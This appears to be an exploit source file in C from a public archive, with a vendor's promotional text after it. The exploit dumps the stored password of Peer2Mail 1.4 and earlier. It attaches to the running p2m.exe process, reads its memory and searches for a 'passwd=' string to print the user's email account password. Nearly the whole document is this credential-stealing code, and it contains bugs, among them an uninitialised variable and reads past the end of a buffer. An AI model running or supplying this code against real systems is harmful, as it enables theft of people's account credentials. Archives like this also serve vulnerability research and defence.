/*
* Peer2Mail Encrypt PassDumper Exploit v1.0
* Discoveried & Coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: [email protected]
*/
/*
* Peer2Mail 1.4 and prior versions are affected.
* Tested for gmail account on Win XP SP2
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>
void Credits(void);
DWORD GetPid(char ProcessName[200]);
int PutUserPassword(DWORD pid);
int main(void)
{
char TargetProcess[80];
DWORD pid;
Credits(); //print the credits to the screen
pid=GetPid("p2m.exe"); //Get the PID of the target process
if(pid==0)
{
printf("Error: Getting pid from %s",TargetProcess);
return EXIT_FAILURE;
}
if(PutUserPassword(pid)!=0) //if we can not get the password
return EXIT_FAILURE;
return EXIT_SUCCESS;
}
void Credits() //the function that prints the credits to the screen
{
printf("Peer2Mail Encrypt PassDumper Exploit v1.0\n");
printf("Discoveried & Coded By [ATmaCA]\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: [email protected]\n\n");
}
DWORD GetPid(char ProcessName[200]) //gets the process-id from the processname
{
DWORD pid;
HANDLE Snap;
PROCESSENTRY32 proc32;
char CapProcessName[200];
strcpy(CapProcessName,CharLower(ProcessName));
Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //Create a snapshot of all current running processes
if(Snap==INVALID_HANDLE_VALUE)
{
printf("Error creating snapshot of current processes.");
return 0;
}
proc32.dwSize=sizeof(PROCESSENTRY32);
while((Process32Next(Snap,&proc32))==TRUE) //Get the process-id from p2m.exe
{
if(strcmp(CharLower(proc32.szExeFile),CharLower(ProcessName))==0||strcmp(CharLower(proc32.szExeFile),CharLower(CapProcessName))==0)
break;
}
pid=proc32.th32ProcessID;
CloseHandle(Snap);
return pid;
}
int PutUserPassword(DWORD pid)
{
#define BUFSIZE 500000
HANDLE hProc;
DWORD total;
long int base;
char buf[BUFSIZE];
char pass[BUFSIZE];
int i=0,j,k;
//open the process
hProc=OpenProcess(PROCESS_VM_READ,FALSE,pid);
if(hProc==NULL)
{
printf("Error: opening process.");
printf("\nPerhaps this account is too limited..");
return 1;
}
//
// The Base Memory Address To Search;
// The Password May Be Located Before The Address Or Far More From This Address,
// Which Causes The Result Unreliable
//
base=0x01320000;
//try to read the memory of p2m.exe
while(ReadProcessMemory(hProc,(PVOID)base,buf,BUFSIZE,&total)!=0)
{
for(i=0;i<BUFSIZE;i++)
{
if(buf[i]=='p'&&buf[i+1]=='a'&&buf[i+2]=='s'&&buf[i+3]=='s'&&buf[i+4]=='w'&&buf[i+5]=='d'&&buf[i+6]=='=')
{
j=0;
for(k=i+7;k<BUFSIZE;k++)
{
if(buf[k]=='&')//check if we've reached the end of the password
{
pass[j]=NULL;
goto gotit;
}
pass[j]=buf[k];
j++;
}
break;
}
}
base+=BUFSIZE;
}
gotit:
printf("Password: %s",pass);
CloseHandle(hProc);
return 0;
}
// milw0rm.com [2005-01-16]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation